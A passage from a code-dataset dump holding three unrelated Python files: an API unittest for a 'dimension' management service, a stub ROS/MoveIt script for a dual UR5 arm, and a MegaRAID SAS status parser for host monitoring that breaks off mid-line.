test_dimension(unittest.TestCase):\n def setUp(self):\n self.obj=method()\n self.excel_data =e()\n #获取实际结果列数\n self.r_col=self.excel_data.get_result_col()\n #获取响应时间列数\n self.t_col=self.excel_data.get_time_col()\n self.f = \"public_url.json\"\n self.f1=\"requestData_dimension.json\"\n self.f2=\"data_dimension.xls\"\n self.tenantId = self.obj.get_tenantId(1, self.f, self.f2)\n self.logger = logger.logger(__name__)\n def write2excel(self,r,row,f):\n self.assertEqual(r.status_code, 200)\n self.assertEqual(r.json()[\"status\"], 200)\n writeResult(row, self.r_col, \"pass\",f)\n writeResult(row, self.t_col, r.elapsed.total_seconds(),f)\n def tearDown(self):\n pass\n def test_001(self):\n #登陆系统\n r=self.obj.post(1,self.f,self.f2)\n writeToken(r.json()[\"data\"][\"token\"])\n #r=self.obj.post_token(2)\n self.write2excel(r,1,self.f2)\n def test_002(self):\n #维度列表-查询收入中心标签\n r=self.obj.get_t(2,self.f1,self.f2)\n self.write2excel(r,2,self.f2)\n #维度列表-查询物业标签\n r = self.obj.get_t(3, self.f1, self.f2)\n self.write2excel(r, 3, self.f2)\n #维度列表-新增物业标签\n r=self.obj.post_t(4,self.f1,self.f2)\n self.write2excel(r,4,self.f2)\n #维度列表-新增收入中心标签\n r = self.obj.post_t(5, self.f1, self.f2)\n self.write2excel(r, 5, self.f2)\n #维度列表-编辑\n id=r.json()[\"data\"][\"id\"]\n l=[]\n li=[]\n l.append(\"id\")\n li.append(id)\n r=self.obj.post_c(6,self.f1,self.f2,l,li)\n self.write2excel(r,6,self.f2)\n #维度项-新增\n l = []\n li = []\n l.append(\"dimensionTypeId\")\n li.append(id)\n r = self.obj.post_c(7, self.f1, self.f2, l, li)\n self.write2excel(r, 7, self.f2)\n id1=r.json()[\"data\"][\"id\"]\n #维度项-查询\n l = []\n li = []\n l.append(\"dimensionTypeId\")\n li.append(id)\n r = self.obj.get_c(8, self.f1, self.f2, l, li)\n self.write2excel(r, 8, self.f2)\n #维度项 - 编辑\n l = []\n li = []\n l.append(\"id\")\n li.append(id1)\n r=self.obj.post_c(9,self.f1,self.f2,l,li)\n self.write2excel(r,9,self.f2)\n #查询物业机构树\n r=self.obj.get_t(10,self.f1,self.f2)\n self.write2excel(r,10,self.f2)\n #查询维度列表\n entityId=r.json()[\"data\"][\"listTree\"][0][\"children\"][0][\"parentId\"]\n l=[]\n li=[]\n l.append(\"entityId\")\n li.append(entityId)\n r=self.obj.get_c(11,self.f1,self.f2,l,li)\n self.write2excel(r,11,self.f2)\n #维度项-删除\n r=self.obj.post_v(12,id1,self.f1,self.f2)\n self.write2excel(r,12,self.f2)\n #维度列表-删除\n r = self.obj.post_v(13, id, self.f1, self.f2)\n self.write2excel(r, 13, self.f2)\nif __name__ == '__main__':\n unittest.main()","repo_name":"wzf930229/ems","sub_path":"tests/test_dimension.py","file_name":"test_dimension.py","file_ext":"py","file_size_in_byte":3228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"14984441864","text":"#!/usr/bin/env python\nimport rospy\nimport moveit_commander\nfrom geometry_msgs.msg import Pose, Point, PointStamped\n\n\n\nclass poseData:\n\n\tdef __init__(self):\n\n\n\t\trospy.init_node('pose_orientation', anonymous=True)\n\n\t\trobot = moveit_commander.RobotCommander()\n\t\tright_arm_group = moveit_commander.MoveGroupCommander(\"ur5_arm_right\")\n\n\t\t# print robot.get_current_state()\t\t\n\n\t\tright_arm_pose = rospy.Publisher(\"/ur5_arm_right/Pose\", Pose, queue_size=1)\n\t\tleft_arm_pose = rospy.Publisher(\"/ur5_arm_left/Pose\", Pose, queue_size=1)\n\n\n\n\n\t\trospy.spin()\n\n\t\t# right_arm_group.set_named_target('right_home_position')\n\t\t# right_arm_group.go(wait=True)\n\t\t# print(\"Point 1\")\n\n\t\t# right_arm_group.set_joint_value_target([-0.21957805043352518, -1.097296859939564, 1.8945345194815335,\n\t\t# -2.366067038969164, -1.571228181260084, -1.0061550793898952])\n\t\t# right_arm_group.go(wait=True)\n\t\t# print(\"Point 2\")\n\n\t\t# pose = right_arm_group.get_current_pose().pose\n\t\t#\n\n\t\t# Need both position and orientation to \n\n\n\t\t# pose = geometry_msgs.msg.Pose()\n\n\t\t# pose.position.x = 0.1\n\t\t# pose.position.y = 0.1\n\t\t# pose.position.z = 0.1\n\t\t# pose.orientation.w = 1.0\n\n\t\t# right_arm_group.set_pose_target(pose)\n\t\t# right_arm_group.go(wait=True)\n\t\t# print(\"Point 2\")\n\n\nif __name__ == '__main__':\n\tarm_group = poseData()\n","repo_name":"gtatiya/Hacking-SotA-UR5","sub_path":"ur5_dual_arm_tufts/scripts/pose_orientation_topic.py","file_name":"pose_orientation_topic.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"5"} +{"seq_id":"3238901093","text":"import re\n\nfrom initat.constants import PlatformSystemTypeEnum\nfrom initat.tools import logging_tools, server_command\nfrom .base import ctrl_type, ctrl_check_struct\nfrom ... import limits, hm_classes\nfrom ...constants import HMAccessClassEnum\nfrom ...host_monitoring_struct import ExtReturn\n\n# global debug mode\nDEBUG = False\n\nSAS_OK_KEYS = {\n \"adp\": set(\n set(\n [\n \"product_name\", \"serial_no\", \"fw_version\", \"virtual_drives\",\n \"degraded\", \"offline\", \"physical_devices\", \"disks\", \"critical_disks\",\n \"failed_disks\",\n ]\n )\n ),\n \"virt\": set(\n [\n \"virtual_drive\", \"raid_level\", \"name\", \"size\", \"state\", \"strip_size\",\n \"number_of_drives\", \"ongoing_progresses\", \"current_cache_policy\", \"is_vd_cached\",\n \"disk_cache_policy\", \"parity_size\", \"mirror_size\",\n ]\n ),\n \"pd\": set(\n [\n \"slot_number\", \"pd_type\", \"raw_size\", \"firmware_state\", \"media_type\",\n ]\n )\n}\n\n# for which keys do we read the following line\nSAS_CONT_KEYS = set([\"ongoing_progresses\"])\n\n\ndef get_size(in_str):\n try:\n s_p, p_p = in_str.split()\n return float(s_p) * {\n \"k\": 1000,\n \"m\": 1000 * 1000,\n \"g\": 1000 * 1000 * 1000,\n \"t\": 1000 * 1000 * 1000 * 1000\n }.get(p_p[0].lower(), 1)\n except:\n return 0\n\n\ndef _split_config_line(line):\n key, val = line.split(\":\", 1)\n key = key.lower().strip().replace(\" \", \"_\")\n val = val.strip()\n if val.isdigit():\n val = int(val)\n elif val.lower() == \"enabled\":\n val = True\n elif val.lower() == \"disabled\":\n val = False\n return key, val\n\n\nclass SasCtrlInfo(object):\n def __init__(self, ctrl_struct):\n self.ctrl_id = None\n self.ctrl_struct = ctrl_struct\n\n def check_for_ctrl(self, line, new_id):\n if new_id != self.ctrl_id:\n if self.ctrl_id is None:\n self.log(\"setting ctrl_id (-> {:d}, line was: '{}')\".format(new_id, line))\n else:\n self.log(\"changing ctrl_id ({:d} -> {:d}, line was: '{}')\".format(self.ctrl_id, new_id, line))\n self.ctrl_id = new_id\n self.get_ctrl_dict(self.ctrl_id)\n return self.ctrl_stuff, self.ctrl_stuff[\"count_dict\"]\n\n def get_ctrl_dict(self, ctrl_id):\n self.ctrl_stuff = self.ctrl_struct._dict.setdefault(\n ctrl_id,\n {},\n )\n if \"count_dict\" not in self.ctrl_stuff:\n self.ctrl_stuff[\"count_dict\"] = {\n \"virt\": 0,\n \"pd\": 0,\n \"enc\": 0,\n }\n\n def log(self, what, log_level=logging_tools.LOG_LEVEL_OK):\n self.ctrl_struct.log(what, log_level)\n\n\nclass ShortOutputKeyCache(object):\n def __init__(self):\n self._state = limits.mon_STATE_OK\n self._keys = []\n self._results = []\n self._info_strs = []\n self.valid = False\n\n @staticmethod\n def shorten_keys(in_list):\n first_parts = set([_key.split()[0] for _key in in_list])\n if len(first_parts) == 1:\n return \"{} {}\".format(\n list(first_parts)[0],\n \" \".join([_key.split(None, 1)[1] for _key in in_list])\n )\n else:\n return \" \".join(in_list)\n\n def feed(self, key, state, result, info_str):\n self.valid = True\n self._state = max(self._state, state)\n self._keys.append(key)\n self._results.append(result)\n self._info_strs.append(info_str)\n\n def get_passive_entry(self):\n return (\n ShortOutputKeyCache.shorten_keys(self._keys),\n self._state,\n \"{} {}\".format(\n \", \".join(self._results),\n \", \".join(self._info_strs),\n )\n )\n\n\nclass ctrl_type_megaraid_sas(ctrl_type):\n class Meta:\n name = \"megaraid_sas\"\n exec_name = \"megarc\"\n description = \"MegaRAID SAS\"\n\n def get_exec_list(self, ctrl_list=[]):\n if ctrl_list == []:\n ctrl_list = list(self._dict.keys())\n return [(\"/bin/true\", ctrl_id, \"init\") for ctrl_id in ctrl_list] + \\\n [(\"{} -AdpAllInfo -a{:d} -noLog\".format(self._check_exec, ctrl_id), ctrl_id, \"adp\") for ctrl_id in ctrl_list] + \\\n [(\"{} -LdPdInfo -a{:d} -noLog\".format(self._check_exec, ctrl_id), ctrl_id, \"ld\") for ctrl_id in ctrl_list] + \\\n [(\"{} -AdpBbuCmd -a{:d} -noLog\".format(self._check_exec, ctrl_id), ctrl_id, \"bbu\") for ctrl_id in ctrl_list] + \\\n [(\"{} -EncStatus -a{:d} -noLog\".format(self._check_exec, ctrl_id), ctrl_id, \"enc\") for ctrl_id in ctrl_list] + \\\n [(\"{} -LDGetProp -Name -Lall -a{:d} -noLog\".format(self._check_exec, ctrl_id), ctrl_id, \"vdname\") for ctrl_id in ctrl_list] + \\\n [(\"/bin/true\", 0, \"done\")]\n\n def scan_ctrl(self):\n cur_stat, cur_lines = self.exec_command(\" -AdpAllInfo -aAll -noLog\", post=\"strip\")\n if not cur_stat:\n for line in cur_lines:\n if line.lower().startswith(\"adapter #\"):\n line_p = line.split()\n ctrl_num = int(line_p[-1][1:])\n self._dict[ctrl_num] = {\n \"info\": \" \".join(line_p),\n \"logical_lines\": {}\n }\n self.log(\n \"Found Controller '{}' with ID {:d}\".format(\n self._dict[ctrl_num][\"info\"],\n ctrl_num\n )\n )\n\n def process(self, ccs):\n\n def _print_debug(prev_mode, cur_mode, line):\n if DEBUG:\n print(\n \"{:6s} {:6s} :: {}\".format(\n prev_mode,\n cur_mode,\n line,\n )\n )\n\n def parse_bbu_value(value):\n return {\n \"no\": False,\n \"yes\": True\n }.get(value.lower(), value)\n\n _com_line, ctrl_id_for_enclosure, run_type = ccs.run_info[\"command\"]\n if run_type == \"done\":\n # last run type, store in ccs\n # pprint.pprint(self._dict)\n # ignore unicode errors, see srv_command definition\n # this is not very clever but always better than discarding the complete check\n ccs.srv_com.ignore_unicode_errors = True\n for ctrl_id, ctrl_stuff in self._dict.items():\n ccs.srv_com[\"result:ctrl_{:d}\".format(ctrl_id)] = ctrl_stuff\n return\n elif run_type == \"init\":\n self._dict[ctrl_id_for_enclosure] = {\n \"count_dict\": {\n \"virt\": 0,\n \"pd\": 0,\n \"enc\": 0,\n }\n }\n return\n elif run_type == \"vdname\":\n vd_re = re.compile(\"^Adapter\\s+(?P\\d)-VD\\s+(?P\\d+).*:\\s+Name:\\s+(?P\\S+).*$\")\n for line_num, line in enumerate([cur_line.rstrip() for cur_line in ccs.read().split(\"\\n\")]):\n vd_m = vd_re.match(line)\n if vd_m:\n _gd = vd_m.groupdict()\n _adp_num, _vd_num = (\n int(_gd[\"adp_num\"]),\n int(_gd[\"vd_num\"]),\n )\n if _adp_num in self._dict:\n _adp = self._dict[_adp_num]\n _virt = _adp.get(\"virt\", {}).get(_vd_num, None)\n if _virt and \"lines\" in _virt:\n _virt[\"lines\"].append((\"name\", _gd[\"vd_name\"]))\n return\n\n prev_mode, cur_mode, mode_sense, cont_mode = (None, None, True, False)\n _ci = SasCtrlInfo(self)\n for line_num, line in enumerate([cur_line.rstrip() for cur_line in ccs.read().split(\"\\n\")]):\n if not line.strip():\n mode_sense = True\n continue\n # some overrides for newer megarcs\n if line.lower().startswith(\"adapter #\") or line.lower().startswith(\"bbu status for adapter\"):\n mode_sense = True\n parts = line.lower().strip().split()\n # flag if the actal line should be parsed into a key/value pair\n add_line = True\n if mode_sense is True:\n add_line = False\n if line.lower().count(\"get bbu\") and line.lower().endswith(\"failed.\"):\n # add failed state\n cur_mode = \"bbu\"\n ctrl_stuff, count_dict = _ci.check_for_ctrl(line, ctrl_id_for_enclosure)\n cur_dict = {\"main\": {\"battery_state\": \"cannot read state\"}}\n ctrl_stuff[\"bbu_keys\"] = cur_dict\n elif (parts[0], cur_mode) in [(\"adapter\", None), (\"adapter\", \"pd\"), (\"adapter\", \"run\"), (\"adapter\", \"virt\")]:\n cur_mode = \"adp\"\n ctrl_stuff, count_dict = _ci.check_for_ctrl(line, int(parts[-1].replace(\"#\", \"\")))\n ctrl_stuff.setdefault(\"lines\", [])\n cur_dict = ctrl_stuff\n elif line.lower().startswith(\"bbu status for \"):\n cur_mode = \"bbu\"\n ctrl_stuff, count_dict = _ci.check_for_ctrl(line, int(parts[-1].replace(\"#\", \"\")))\n cur_dict = {\"main\": {}}\n ctrl_stuff[\"bbu_keys\"] = cur_dict\n elif (parts[0], cur_mode) in [(\"virtual\", \"pd\")] or (cur_mode == \"adp\" and line.lower().startswith(\"number of virt\")):\n cur_mode = \"virt\"\n count_dict[cur_mode] += 1\n cur_dict = {\"lines\": []}\n if parts[0] == \"virtual\":\n # store line, needed for vd detection\n add_line = True\n ctrl_stuff.setdefault(\"virt\", {})[count_dict[\"virt\"] - 1] = cur_dict\n elif (parts[0], cur_mode) in [(\"is\", \"virt\"), (\"raw\", \"pd\")]:\n # continuation, no change\n pass\n elif (parts[0], cur_mode) in [(\"pd:\", \"virt\"), (\"pd:\", \"pd\")]:\n cur_mode = \"pd\"\n count_dict[cur_mode] += 1\n cur_dict = {\"lines\": []}\n ctrl_stuff[\"virt\"][count_dict[\"virt\"] - 1].setdefault(\"pd\", {})[count_dict[cur_mode] - 1] = cur_dict\n elif parts[0] in [\"exit\"]:\n # last line, pass\n pass\n elif (parts[0], cur_mode) in [\n (\"enclosure\", None),\n (\"enclosure\", \"run\"),\n (\"enclosure\", \"enc\"),\n (\"enclosure\", \"bbu\")\n ]:\n # get enclosure id\n enc_id = int(parts[-1])\n cur_mode = \"enc\"\n _new_ctrl_id = ctrl_id_for_enclosure\n ctrl_stuff, count_dict = _ci.check_for_ctrl(line, _new_ctrl_id)\n count_dict[cur_mode] += 1\n cur_dict = {\"lines\": []}\n ctrl_stuff.setdefault(\"enclosures\", {})[count_dict[\"enc\"] - 1] = cur_dict\n elif (parts[0], cur_mode) in [(\"number\", \"enc\"), (\"number\", \"run\"), (\"number\", \"bbu\")]:\n cur_dict = {\"num\": int(parts[-1]), \"lines\": []}\n _sub_key = \"_\".join(parts[2:-2])\n ctrl_stuff.setdefault(\"enclosures\", {})[count_dict[\"enc\"] - 1][_sub_key] = cur_dict\n # special mode for parsing enclosure info lines\n cur_mode = \"run\"\n elif cur_mode == \"run\":\n cur_dict = {\"lines\": []}\n ctrl_stuff.setdefault(\"enclosures\", {})[count_dict[\"enc\"] - 1][_sub_key][int(parts[-1])] = cur_dict\n elif cur_mode in [\"bbu\", \"enc\", \"adp\"]:\n # ignore empty lines for bbu and enc\n if cur_mode == \"bbu\":\n # add line\n add_line = True\n else:\n _print_debug(prev_mode, cur_mode, line)\n # unknown mode\n raise ValueError(\n \"cannot determine mode, ctrl_type_megaraid_sas: {}, current mode is {}\".format(\n str(line),\n cur_mode,\n )\n )\n mode_sense = False\n if add_line:\n # print cur_mode, line\n if line.count(\":\"):\n key, value = line.split(\":\", 1)\n key = key.lower().strip().replace(\" \", \"_\")\n if cur_mode == \"bbu\":\n cur_dict[\"main\"][key] = parse_bbu_value(value.strip())\n else:\n if line.startswith(\" \"):\n if cont_mode:\n cur_val = cur_dict[\"lines\"][-1]\n cur_dict[\"lines\"][-1] = (\n cur_val[0],\n \"{}{}{}\".format(\n cur_val[1],\n \", \" if cur_val[1] else \"\",\n \" \".join(line.strip().split())\n )\n )\n else:\n if cur_mode not in SAS_OK_KEYS or key in SAS_OK_KEYS[cur_mode]:\n value = value.strip()\n cur_dict[\"lines\"].append((key, value.strip()))\n cont_mode = key in SAS_CONT_KEYS\n _print_debug(prev_mode, cur_mode, line)\n prev_mode = cur_mode\n del _ci\n # def set_result_from_cache(self, srv_com, cur_ns):\n # for _key, _value in self._dict.iteritems():\n # srv_com[\"result:ctrl_{:d}\".format(_key)] = _value\n\n def update_ok(self, srv_com):\n if self._dict:\n return ctrl_type.update_ok(self, srv_com)\n else:\n srv_com.set_result(\n \"no controller found\",\n server_command.SRV_REPLY_STATE_ERROR\n )\n return False\n\n @staticmethod\n def _interpret(ctrl_dict, cur_ns):\n # pprint.pprint(ctrl_dict)\n def get_status_lines(lines):\n stat_keys = [_key for _key, _value in lines if _key.endswith(\"_status\")]\n if stat_keys:\n # status keys found, return last status\n return [_value for _key, _value in lines if _key in stat_keys][-1]\n else:\n # not status keys found, return first value\n return lines[0][1]\n\n def get_log_dict(lines):\n return {key: value for key, value in lines}\n\n def _get_info_str(key, lines):\n _entity_type = key.split(\":\")[-1][0]\n if _entity_type in [\"v\", \"c\", \"b\"]:\n _ld = get_log_dict(lines)\n if _entity_type == \"v\":\n _ld[\"ctrl\"] = key.split(\":\")[0]\n for _key, _default in [(\"name\", \"\"), (\"virtual_drive\", \"\")]:\n if _key not in _ld:\n _ld[_key] = _default\n _info_str = \"vd {virtual_drive} ('{name}', ctrl {ctrl}), RAID level {raid_level}, \" \\\n \"size={size}, drives={number_of_drives}, state={state}\".format(\n **_ld\n )\n elif _entity_type == \"c\":\n _info_f = []\n for key in [\"product_name\"]:\n if key in _ld:\n _info_f.append(\n \"{}: {}\".format(\n key,\n _ld[key],\n )\n )\n _info_str = \", \".join(_info_f)\n elif _entity_type == \"b\":\n _info_f = []\n for key in [\n \"temperature\", \"voltage\", \"absolute_state_of_charge\", \"relative_state_of_charge\",\n \"*learn_cycle_requested\", \"learn_cycle_status\", \"cycle_count\"\n ]:\n if key[0] in [\"*\"]:\n _key = key[1:]\n _ignore_true = True\n else:\n _key = key\n _ignore_true = False\n if _key in _ld:\n if _ignore_true and _ld[_key] is True:\n continue\n _info_f.append(\n \"{}: {}\".format(\n _key,\n _ld[_key],\n )\n )\n _info_str = \", \".join(_info_f)\n else:\n _info_str = \"\"\n if _info_str:\n _info_str = \"{}: {}\".format(\n _expand_key(_entity_type),\n _info_str,\n )\n return _info_str\n\n def check_status(key, lines, check):\n _entity_type = key.split(\":\")[-1][0]\n if check == \"status\":\n _val = [_val for _key, _val in lines if _key.endswith(\"_status\")]\n else:\n _val = [_val for _key, _val in lines if _key == check or _key.replace(\" \", \"_\") == check]\n if _val:\n _key_found = True\n _val = _val[0]\n else:\n _key_found = False\n # correct key not found\n _val = \"not present / key not found\"\n # _checked not needed right now ?\n _checked, _ret_state = (False, limits.mon_STATE_CRITICAL)\n if _entity_type == \"v\":\n _checked = True\n if check == \"state\":\n if _val.lower().startswith(\"optimal\"):\n _ret_state = limits.mon_STATE_OK\n\n elif check == \"current_cache_policy\":\n if _val.lower().strip().split()[0].startswith(\"writeback\"):\n _ret_state = limits.mon_STATE_OK\n else:\n _ret_state = limits.mon_STATE_WARNING\n elif _entity_type == \"d\":\n if _val.lower() == \"online, spun up\":\n _ret_state = limits.mon_STATE_OK\n elif _entity_type == \"f\":\n if _val.lower() == \"ok\":\n _ret_state = limits.mon_STATE_OK\n elif _entity_type == \"s\":\n if _val.lower() == \"ok\":\n _ret_state = limits.mon_STATE_OK\n elif _entity_type == \"c\":\n _ret_state = limits.mon_STATE_OK\n elif _entity_type == \"b\":\n if _val.lower() in (\"operational\", \"optimal\"):\n _ret_state = limits.mon_STATE_OK\n elif not _key_found:\n _ld = get_log_dict(lines)\n # state not definde, check for other flags\n if not _ld.get(\"battery_pack_missing\", True) and not _ld.get(\"battery_replacement_required\", True):\n _ret_state = limits.mon_STATE_OK\n return _ret_state, _val, _entity_type\n\n def get_check_list(d_type, lines):\n if d_type == \"virt\":\n _keys = [_key for _key, _value in lines]\n return list(set(_keys) & set([\"state\", \"current_cache_policy\"]))\n elif d_type == \"pd\":\n _keys = [_key for _key, _value in lines]\n return [\"firmware_state\"]\n elif d_type == \"bbu\":\n return [\"battery_state\"]\n elif d_type == \"ctrl\":\n return []\n else:\n status = get_status_lines(lines).lower()\n if status in set([\"not installed\", \"unknown\", \"medium speed\", \"normal speed\", \"low speed\", \"high speed\", \"not available\"]):\n return None\n else:\n return [\"status\"]\n\n def _prune(in_dict):\n return {_key: _prune(_value) if isinstance(_value, dict) else _value for _key, _value in in_dict.items() if _value}\n\n def reorder_dict(in_dict):\n _result = {\n \"c{:02d}\".format(_idx): _interpret_dict(\"ctrl\", _value) for _idx, _value in in_dict.items()\n }\n # prune twice to remove empty subdicts\n _result = _prune(_prune(_result))\n return _result\n\n def emit_keys(in_dict, level=0):\n if isinstance(in_dict, dict):\n _dk_l = set(in_dict.keys()) - {\"lines\", \"_checks\"}\n r_list = sum(\n [\n [\n \"{}{}{}\".format(_s2_key, \":\" if sub_key else \"\", sub_key) for sub_key in emit_keys(in_dict[_s2_key], level + 1)\n ] for _s2_key in _dk_l\n ],\n []\n )\n # force iteration over this key (to generate info_str)\n if \"_checks\" in in_dict:\n r_list.append(\"\")\n elif not level:\n # add controller keys at top level\n r_list.extend(list(in_dict.keys()))\n return r_list\n else:\n return [\"\"]\n\n def _interpret_dict(d_type, in_dict):\n map_dict = {\n \"enclosures\": (\"e\", \"enclosure\"),\n \"fans\": (\"f\", \"fan\"),\n \"power_supplies\": (\"p\", \"psu\"),\n \"slots\": (\"s\", \"slot\"),\n \"temperature_senors\": (\"t\", \"tempsensor\"),\n \"virt\": (\"v\", \"virt\"),\n \"pd\": (\"d\", \"pd\"),\n \"bbus\": (\"b\", \"bbu\"),\n }\n r_dict = {}\n for _key, _t in map_dict.items():\n r_dict.update(\n {\n \"{}{:02d}\".format(\n _t[0],\n _idx\n ): _interpret_dict(\n _t[1],\n _value\n ) for _idx, _value in in_dict.get(_key, {}).items() if isinstance(_idx, int)\n }\n )\n if in_dict.get(\"lines\", []):\n r_dict[\"lines\"] = in_dict[\"lines\"]\n _checks = get_check_list(d_type, in_dict[\"lines\"])\n if _checks:\n r_dict[\"_checks\"] = _checks\n return r_dict\n\n def get_source(_ro_dict, _key):\n # return lines and check_list for given key\n _res = _ro_dict\n for _skey in _key.split(\":\"):\n _res = _res[_skey]\n return (_res.get(\"lines\", []), _res.get(\"_checks\", []))\n\n def _expand_key(entity_type):\n return {\n \"c\": \"Ctrl\",\n \"v\": \"Virt\",\n \"p\": \"PSU\",\n \"s\": \"Slot\",\n \"e\": \"Encl\",\n \"b\": \"BBU\",\n \"f\": \"Fan\",\n \"d\": \"Disc\",\n }[entity_type]\n\n def _full_key(_part):\n return \"{}{}\".format(\n {\n \"c\": \"ctrl\",\n \"v\": \"virt\",\n \"p\": \"psu\",\n \"s\": \"slot\",\n \"e\": \"encl\",\n \"b\": \"bbu\",\n \"f\": \"fan\",\n \"d\": \"disc\",\n }[_part[0]],\n \"{:d}\".format(int(_part[1:])) if len(_part) > 1 else \"\",\n )\n\n def get_service(_key, _check=None):\n return \"{}{}\".format(\n \"/\".join([_full_key(_part) for _part in _key.split(\":\")]),\n \" {}\".format(_check) if _check else \"\",\n )\n\n def _shorten_list(in_list):\n # pprint.pprint(in_list)\n # shorten_re = re.compile(\"^(?P
c\\d+:(v|e)\\d+:(d|s|f))(?P\\d+)$\")\n            shorten_re = re.compile(\"^(?P
c\\d+:((v\\d+:(d|s|f))|e))(?P.*\\d+)$\")\n            _shorten_dict = {}\n            new_list, _shorten_keys = ([], [])\n            for key, _check, _info, _flag in r_list:\n                _keep = True\n                _match = shorten_re.match(key)\n                if _match:\n                    _keep = False\n                    _gd = _match.groupdict()\n                    if _gd[\"pre\"] not in _shorten_keys:\n                        _shorten_keys.append(_gd[\"pre\"])\n                        _shorten_dict[_gd[\"pre\"]] = {\n                            \"list\": [],\n                            \"check\": _check,\n                            \"infos\": [],\n                            \"flag\": _flag,\n                        }\n                    _sde = _shorten_dict[_gd[\"pre\"]]\n                    if (_check, _flag) == (_sde[\"check\"], _sde[\"flag\"]):\n                        _sde[\"list\"].append((key, _gd[\"rest\"]))\n                        _sde[\"infos\"].append(_info)\n                    else:\n                        _keep = True\n                if _keep:\n                    new_list.append((key, _check, _info, _flag))\n            for _shorten_key in _shorten_keys:\n                _sde = _shorten_dict[_shorten_key]\n                new_list.append((_shorten_key, _sde[\"check\"], _compress_infos(_sde[\"infos\"]), _sde[\"flag\"]))\n            # print \"out\"\n            # pprint.pprint(new_list)\n            # pprint.pprint(_shorten_dict)\n            # print \"-\" * 10\n            return new_list, _shorten_dict\n\n        def _generate_short_result(_common_key, _struct, _lss):\n            _state_dict = {}\n            # all keys are needef for the passive check result lookup key\n            _all_keys = []\n            for _state, _output, _skey in _lss:\n                # we ignore _info here to make things easier\n                _state_dict.setdefault(_state, {}).setdefault(_output, []).append(_skey)\n                _all_keys.append(_skey)\n            _ret_state = max(_state_dict.keys())\n            ret_list = []\n            for _state in sorted(_state_dict.keys()):\n                for _output in sorted(_state_dict[_state].keys()):\n                    ret_list.append(\n                        \"{:d} {}: {}\".format(\n                            len(_state_dict[_state][_output]),\n                            _output,\n                            _compress_infos(_state_dict[_state][_output]),\n                        )\n                    )\n            return _compress_infos(_all_keys), _ret_state, \", \".join(ret_list)\n\n        def _compress_infos(in_list):\n            return logging_tools.struct_to_string(logging_tools.list_to_struct(in_list)[0])\n\n        # rewrite bbu info\n        for _c_id, _c_dict in ctrl_dict.items():\n            if \"main\" in _c_dict.get(\"bbu_keys\", {}):\n                _c_dict[\"bbus\"] = {\n                    0: {\n                        \"lines\": [(_key, _value) for _key, _value in _c_dict[\"bbu_keys\"][\"main\"].items()]\n                    }\n                }\n                del _c_dict[\"bbu_keys\"]\n            if \"virt\" not in _c_dict:\n                # rewrite from old to new format\n                _c_dict[\"virt\"] = {\n                    key: {\n                        \"lines\": [\n                            (line[0].lower().replace(\" \", \"_\").replace(\"virtual_disk\", \"virtual_drive\"), line[1]) for line in value\n                        ]\n                    } for key, value in _c_dict[\"logical_lines\"].items()\n                }\n                del _c_dict[\"logical_lines\"]\n        # print cur_ns\n        # reorder dict\n        _ro_dict = reorder_dict(ctrl_dict)\n        # pprint.pprint(_ro_dict)\n        # pprint.pprint(ctrl_dict)\n        _key_list = emit_keys(_ro_dict)\n        # pprint.pprint(_key_list)\n        # print cur_ns\n        # interpret flags\n        _short_output = True if cur_ns.short_output in [True, \"1\", \"y\", \"yes\", \"true\", \"True\"] else False\n        _ignore_missing_bbu = True if cur_ns.ignore_missing_bbu in [True, \"1\", \"y\", \"yes\", \"true\", \"True\"] else False\n        _ignore_keys = [_char for _char in cur_ns.ignore_keys]\n        if \"N\" in _ignore_keys:\n            _ignore_keys = []\n        if _ignore_keys:\n            # filter key_list\n            _key_list = [_entry for _entry in _key_list if not any([_entry.count(_ik) for _ik in _ignore_keys])]\n        if cur_ns.get_hints:\n            r_list = []\n            _ctrl_found = set()\n            for _key in sorted(_key_list):\n                _ctrl_key = _key.split(\":\")[0]\n                if _ctrl_key not in _ctrl_found:\n                    _ctrl_found.add(_ctrl_key)\n                    r_list.extend([(_ctrl_key, \"all\", \"{} info\".format(_full_key(_key)), True), ])\n                _lines, _checks = get_source(_ro_dict, _key)\n                if _checks:\n                    if _short_output:\n                        r_list.append(\n                            (\n                                _key,\n                                \"::\".join(_checks),\n                                ShortOutputKeyCache.shorten_keys([get_service(_key, _check) for _check in _checks]),\n                                False\n                            )\n                        )\n                    else:\n                        r_list.extend([(_key, _check, get_service(_key, _check), False) for _check in _checks])\n                # all checks in one line ? Todo ...\n            if _short_output:\n                # shorten list\n                r_list, _ignore_dict = _shorten_list(r_list)\n            # pprint.pprint(r_list)\n            return r_list\n        else:\n            _store_passive = cur_ns.passive_check_prefix != \"-\"\n            # generate passive results if cur_ns.passive_check_prefix is set (not \"-\")\n            if not _store_passive:\n                # only makes sense with _store_passive==True\n                _short_output = False\n            _passive_dict = {\n                \"source\": \"megaraid\",\n                \"prefix\": cur_ns.passive_check_prefix,\n                \"list\": [],\n            }\n            # print \"*\", _key_list\n            # if cur_ns.key != \"all\":\n            # else:\n            if cur_ns.check != \"all\":\n                single_key = True\n                _key_list = list(set(_key_list) & set([cur_ns.key]))\n                target_checks = set(cur_ns.check.split(\"::\"))\n                # print \"*\", _key_list, target_checks\n            else:\n                target_checks = None\n                single_key = False\n                if cur_ns.key:\n                    _key_list = [_entry for _entry in _key_list if _entry.startswith(cur_ns.key)]\n            _ok_dict = {}\n            _ret_list = []\n            _g_ret_state = limits.mon_STATE_OK\n            # list for shortened output\n            r_list = []\n            for _key in sorted(_key_list):\n                # cache for short output\n                _so_cache = ShortOutputKeyCache()\n                _lines, _checks = get_source(_ro_dict, _key)\n                if target_checks:\n                    _checks = list(set(_checks) & target_checks)\n                _info_str = _get_info_str(_key, _lines)\n                if not _checks:\n                    _ret_list.append(_info_str)\n                for _check in _checks:\n                    _info = get_service(_key, _check)\n                    if _short_output:\n                        r_list.append((_key, _check, _info, None))\n                    _ret_state, _result, _entity_type = check_status(_key, _lines, _check)\n                    if _key.count(\":b\") and _ignore_missing_bbu:\n                        # reduce state if necessary\n                        _ret_state = min(_ret_state, limits.mon_STATE_WARNING)\n                    if _store_passive and _entity_type != \"c\":\n                        # never store controller checks in passive dict\n                        if _short_output:\n                            _so_cache.feed(_info, _ret_state, _result, _info_str)\n                        else:\n                            _passive_dict[\"list\"].append(\n                                # format: info, ret_state, result (always show), info (only shown in case of non-OK)\n                                (\n                                    _info, _ret_state, \"{} {}\".format(_result, _info_str),\n                                )\n                            )\n                    else:\n                        _ret_list.append(_info_str)\n                    _info_str = 